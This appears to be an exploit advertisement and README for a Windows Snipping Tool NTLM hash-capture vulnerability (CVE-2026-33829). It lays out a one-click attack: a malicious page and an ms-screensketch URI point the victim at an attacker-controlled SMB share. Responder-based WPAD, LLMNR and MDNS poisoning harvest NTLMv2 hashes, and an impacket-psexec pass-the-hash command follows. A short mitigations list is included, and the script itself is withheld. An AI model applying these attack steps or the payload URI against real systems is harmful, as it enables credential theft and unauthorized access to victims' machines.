When a victim clicks a malicious link and approves the "Open Snipping Tool" prompt, Windows automatically sends the user's NTLMv2 hash to the attacker-controlled server. This exploit extends beyond the original PoC by also harvesting HTTP NTLM hashes (via WPAD), LLMNR, and MDNS poisoning - capturing MULTIPLE valid hashes from a SINGLE click. Captured hashes can be used for Pass-the-Hash attacks or cracked with Hashcat. ## Exploit Features (nu11secur1ty edition) - ✅ Snipping Tool NTLM hash capture (original vector) - ✅ Automatic HTTP NTLM authentication capture (additional vector) - ✅ WPAD poisoning (automatic proxy config) - ✅ LLMNR/MDNS poisoning (fallback vectors) - ✅ Multi-harvest - captures multiple hashes from one click - ✅ One-command execution (sudo python3 exploit.py) - ✅ Auto-detects terminal and opens Responder in new window - ✅ Built-in HTTP server for HTML delivery ## Proof of Concept **Video Demonstration (Patreon Exclusive):** https://www.patreon.com/posts/cve-2026-33829-156243398 1. Run exploit on attacker machine (Kali Linux): sudo python3 CVE-2026-33829-NTLMv2-Hash-Hijack.py 2. Victim (Windows 11) opens the malicious URL: http://<ATTACKER_IP>/exploit.html 3. Victim clicks the button and approves "Open Snipping Tool" 4. Attacker captures NTLMv2 hash(es): [HTTP] NTLMv2 Username : \Hacked [HTTP] NTLMv2 Hash : Hacked:::157e1f851f7c17e7:16D87BC0AD284FB6... 5. Attacker performs Pass-the-Hash to gain access: impacket-psexec -hashes :<HASH> Hacked@<VICTIM_IP> ## Attack Vector ms-screensketch:edit?filePath=\\<ATTACKER_IP>\test\evil.png ## Requirements Attacker: Kali Linux (or any Linux with Python3, impacket, responder) Victim: Windows 10/11 with Snipping Tool (unpatched) ## Mitigations - Apply Microsoft patch from April 14, 2026 - Block outbound SMB traffic (port 445) - Disable NTLMv1 and restrict NTLMv2 via GPO - Educate users not to click "Open Snipping Tool" prompts from untrusted sources ## References - https://cybersecuritynews.com/windows-snipping-tool-vulnerability/ - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829 - https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2026-33829 ## Exploit Code (NFO) The exploit will not be published for security reasons!
